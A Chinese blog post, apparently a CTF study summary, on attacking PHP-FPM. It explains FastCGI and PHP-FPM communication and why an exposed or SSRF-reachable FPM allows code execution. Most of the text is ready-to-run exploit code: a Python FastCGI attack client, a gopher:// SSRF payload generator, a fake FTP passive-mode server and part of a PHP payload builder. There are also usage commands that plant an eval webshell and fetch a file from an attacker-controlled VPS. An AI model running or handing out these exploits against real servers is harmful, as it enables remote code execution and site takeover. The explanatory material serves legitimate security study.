Diggid's Blog

PHP-FPM 打法小总结

字数统计: 9k阅读时长: 44 min
2021/05/05 Share

前言

做完蓝帽杯One Pointer PHP这题,顺带把之前看的零零碎碎的知识点、概念和打法都复习总结一遍。

理清PHP-FPM

关于php-fpm,脑子里又会冒出FastCGI、CGI、Unix套接字…等相关的概念,这些东西还是要理清一下。

PHP的连接方式

在Web服务(容器)上的php,就相当于某个web服务的后端处理器,web服务接收的数据要经过php处理然后返回给web服务,最后显示在客户端。

apache2-module

php相当于apache的一个扩展或者模块,在phpstudy中的nts模式便是apache2-module方式连接的

CGI 模式

全称是“通用网关接口”,WEB 服务器与PHP应用进行“交谈”的一种协议。此时php独占一个进程,如php-cgi.exe。web服务器也是一个独立的进程如apache.exe。CGI模式下,WEB服务器会将客户端请求的URL、查询字符串、POST数据、HTTP header等数据封装成php-cgi能读懂的数据流,通过cgi协议进行将数据流发送给php-cgi进程,然后由php-cgi解析处理并再通过cgi协议将处理后的数据返回给web服务器最后返回给客户端。优点是实现了动态的页面,但是也有缺点

  • 每次客户端请求,都会建立和销毁一次php-cgi进程(重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构)

  • 消耗资源,没有内存管理、垃圾回收等管理机制,相当于CGI只会接受、处理和返回数据,但并不会管理自身

FastCGI 模式

因此,FastCGI就诞生了。FastCGI也是一种协议,是对CGI的一种优化。上面所说的每一次请求就进行一次php-cgi的建立和销毁,这里FastCGI只会在进程启动时发生一次。为什么呢?其核心原理是FastCGI规定了一种调度php-cgi的方式并对多个子php-cgi进行管理

而FastCGI只是一种模式,真正实现这种模式而作为php-cgi进程管理器的就是php-fpm。除了一次性加载的高效性之外,FastCGI还实现了其管理的功能,如内存管理、垃圾处理等功能。为了更好的提高性能,CGI和FastCGI的php应用都是依赖Nginx作为服务器的

以上三种连接模式,我们都可以在phpinfo的Server API字段中判断出来,这对于我们做题时定位php-fpm服务还是很重要的

  • apache2-mod:Apache 2.0 Handler

  • CGI:CGI/FastCGI(Nginx)

  • FastCGI:FPM/FastCGI(Nginx)

PHP-FPM

什么是php-fpm

说完了FastCGI,接下来说一下FastCGI的实现者php-fpm。fastcgi是一个协议,这个协议的实现者,充当CGI进程管理器角色的就是php-fpm。下面是一个通信流程,图片摘自https://xz.aliyun.com/t/5598#toc-2

image-20210508200128663

重点关注一下Nginx和FPM的通信。在P师傅讲php-fpm的文章中,说到了Nginx和php-fpm的通信,具体如下:

Nginx 等服务器中间件将用户请求按照 fastcgi 的规则打包好通过 TCP 传给谁?其实就是传给 FPM。

FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果 web 目录是/var/www/html,那么 Nginx 会将这个请求变成如下 key-value 对:

{ ‘GATEWAY_INTERFACE’: ‘FastCGI/1.0’, ‘REQUEST_METHOD’: ‘GET’, ‘SCRIPT_FILENAME’: ‘/var/www/html/index.php’, ‘SCRIPT_NAME’: ‘/index.php’, ‘QUERY_STRING’: ‘?a=1&b=2’, ‘REQUEST_URI’: ‘/index.php?a=1&b=2’, ‘DOCUMENT_ROOT’: ‘/var/www/html’, ‘SERVER_SOFTWARE’: ‘php/fcgiclient’, ‘REMOTE_ADDR’: ‘127.0.0.1’, ‘REMOTE_PORT’: ‘12345’, ‘SERVER_ADDR’: ‘127.0.0.1’, ‘SERVER_PORT’: ‘80’, ‘SERVER_NAME’: “localhost”, ‘SERVER_PROTOCOL’: ‘HTTP/1.1’ }

这个数组其实就是 PHP 中$_SERVER数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。

PHP-FPM 拿到 fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的 PHP 文件,也就是/var/www/html/index.php。

我们来解析一下完整的流程:用户从浏览器访问一个URL到接收数据渲染网页

1
2
3
4
5
6
7
1.访问www.diggid.com
2.通过Nginx路由到www.diggid.com/index.php
3.Nginx加载FastCGI模块,并将用户请求的数据封装成FastCGI协议的模样
4.PHP-FPM监听127.0.0.1:9000,Nginx发送数据(TCP或Unix),FPM接收
5.FPM处理数据,找到相应的index.php文件,执行
6.FPM处理完毕后,返回给Nginx
7.Nginx通过http返回结果给用户浏览器渲染

php-fpm的两种模式

这里两种模式的划分依据是Nginx和FPM的通信方式,理解好这一点,能够好的php-fpm未授权访问攻击和FTP+SSRF打php-fpm的区别

1.TCP模式

TCP模式和其他常见的服务监听端口的方式一样,PHP-FPM启动时监听默认9000端口,然后Nginx通过TCP管道的方式将Fastcgi协议封装的数据流发送给FPM。

2.Unix模式

而Unix模式的实现主要是通过相应的.sock文件。它是 unix 系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为 socket 的唯一标识(描述符),需要通信的两个进程引用同一个 socket 描述符文件就可以建立通道进行通信了。也就是说Unix是同一系统的进程间通过对同一个Socket文件进行读写来传递数据。这里不存在监听某个端口一说

unix指定的.sock文件通常是(有时候也可以在其他目录下提供,视情况而定):

1
/run/php/php7.3-fpm.sock

3.两者异同

  • 同:由Nginx传递过来的TCP数据流相同,也就是说Nginx和FPM的通信方式不会影响TCP数据流

  • 异:TCP模式下能通过网络传送数据,而Unix模式下不行,因为Unix模式只是本地进程间的通信,并未涉及网络层

关键的两个配置文件

配置上述两种模式及其修改其监听的默认端口,需要通过以下配置文件

  • /etc/nginx/sites-enabled/default
1
2
3
4
5
6
7
8
location ~ \.php$ {
index index.php index.html index.htm;
include /etc/nginx/fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
//fastcgi_pass unix:/run/php/php7.3-fpm.sock 注意php版本
fastcgi_index index.php;
include fastcgi_params;
}
1
2
listen = 127.0.0.1:9000
listen = /run/php/php7.3-fpm.sock

如何安装php-fpm

具体的安装过程这里就不详述了,可以参考

https://xz.aliyun.com/t/5598#toc-2

https://forum.90sec.com/t/topic/129

PHP-FPM 未授权访问攻击原理

了解了PHP-FPM是什么以及其通信的整个流程之后,接下来讲下几种攻击php-fpm的方式。

漏洞成因

缺乏安全性验证

为什么将该攻击归为未授权访问攻击,说白了,其和其他未授权访问攻击都有相似之处:可以通过内网/外网访问;服务本身没有安全性验证或者配置错误导致缺乏安全性验证。这里其实是PHP-FPM设计的一个缺陷,其没有对Nginx这一通信对象进行身份/安全性验证,从而可以伪造Nginx的作用向PHP-FPM发送伪造的FastCGI协议包,从而欺骗PHP-FPM执行一些危险操作(RCE)、修改配置(bypass open_basedir)

security.limit_extensions配置

如果有了解过该攻击的就会知道,我们必须要知道一个php文件的绝对路径才能实现攻击。而这一配置就是来解释为什么的。前面我们说过了,PHP-FPM会根据解析FastCGI协议包中的SCRIPT_FILENAME的值去寻找指定的文件进行解析处理,在php某个版本之前,该文件可以是任意后缀的,如/etc/passwd,但是后来,fpm的默认配置中增加了一个选项security.limit_extensions,这是一个白名单配置,默认仅有php后缀的文件满足,所以我们需要找到一个已知其绝对路径的php文件才能完成利用

漏洞条件 & 危害

漏洞危害包括:

  • 任意代码执行
  • 可覆盖除了disable_functions以外的所有php.ini中的配置项(可以打一个phpinfo() + 覆盖disbale_functions为空来验证)

仅仅通过修改FastCGI数据包,怎么达到上面两种效果呢?继续往下看

auto_prepend_file

php.ini中的配置项,告诉php,在执行目标文件之前,先执行该配置项指定的文件。最重要的是,该选项可以使用伪协议,那么攻击面就很大了,因此我们可以利用php://input来执行任意php代码

allow_url_include

要想使用php://input,那么必须开启此配置项,就不用多说了。以上两个配置项可以通过PHP-FPM的两个环境变量去修改:

  • PHP_VALUE:可以设置模式为PHP_INI_USERPHP_INI_ALL的选项
  • PHP_ADMIN_VALUE:可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

文件名

如果php-fpm解析到不存在的文件或者文件名后缀不是在security.limit_extensions选项中的文件,就会报错。因此我们找一下linux中可能存在的.php的文件,但是大部分情况下都是已经的在服务目录下的php文件

1
find / -name *.php

PHP-FPM 打法

从外网打

该攻击是基于PHP-FPM是TCP模式时,并且由于以下原因导致php-fpm暴露在公网

首先是php-fpm的配置不当,原本在内网和Nginx通信就可以满足,却图方便错写了一个配置,在上面说到的两个配置文件中,把127.0.0.1改写为0.0.0.0,这样我们就可以通过外网访问PHP-FPM了。关于127.0.0.1和0.0.0.0的区别,可以移步这篇文章

最常见的就是直接拿大名鼎鼎的fpm.py脚本去打了,这种方式是通过模拟Nginx将伪造的FastCGI协议包发送给PHP-FPM,因此我们需要直接与PHP-FPM通信,因此是基于TCP模式下的通信,所以该种方法要求php-fpm暴露在公网。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s

class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

用法也很简单

1
python2/3 fpm.py -p [port] [host] [filename] -c [command]

如:

1
python3 fpm.py -p 9001 101.132.12.17 /var/www/html/index.php "<?php file_put_contents('shell.php','<?php @eval(\$_POST[diggid]);?>');?>"

从内网打

SSRF + Gopher

这个就很常见了,直接Gopher一梭子,大部分情况下是存在一个SSRF漏洞的页面,然后利用gopher协议并进行二次URL编码打出去就好了。获取TCP流的办法有以下几种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
#print base64.b64encode(request)
return request
# self.sock.send(request)
# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
# self.requests[requestId]['response'] = b''
# return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='
')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
response = urllib.quote(response)
print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)
  • 利用nc监听本地一个端口,然后payload打到本地的这个端口上即可
1
2
nc -lvvp 9999
python2 fpm.py -p 9999 127.0.0.1 filename -c command
  • 还有就是拿Gopherus来生成
1
2
python2 gopherus.py --exploit fastcgi
然后输入文件名和命令(注意这里只能执行生成执行命令的,需要修改一下源码)

SSRF + FTP

这一方式是通过file_put_contents这一函数配合伪协议ftp://,然后伪造FTP passive mode模式客户端来打的。关于FTP passive mode的利用原理,可以参考这篇文章这里一句话总结一下就是,通过伪造FTP的被动模式(passive mode,服务端被动),恶意的FTP客户端主动与服务端通信,并向服务端提供伪造的另一地址和端口,致使FTP服务端和另一地址的端口进行连接,从而进行数据传输。上述过程我们可以通过模拟FTP协议的数据包来实现。所以我们要向将前面我们得到的FastCGI payload打到PHP-FPM上,可以通过ftp://协议来帮我们打过去。

1.模拟ftp的服务

ftp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 7777)) # 本机的7777端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR 注意打到9001端口的服务
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

2.准备一个存在漏洞的页面

可能是别人准备好的,或者我们通过一些条件可以传上去的,内容如下:

file.php

1
2
3
4
5
<?php
$file = $_GET['file'];
$data = $_GET['data'];
var_dump(file_put_contents($file, $data));
// echo file_get_contents($file);

可以使用php的copy函数传上去

1
copy("http://vps/file.php","/var/www/html/file.php");

3.准备一个pwn.php生成fastcgi payload

这里额外提供一个php版的打fastcgi的payload,执行一下这个文件就可以得到data的payload,注意代码中PHP_VALUEPHP_ADMIN_VALUE的配置项。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
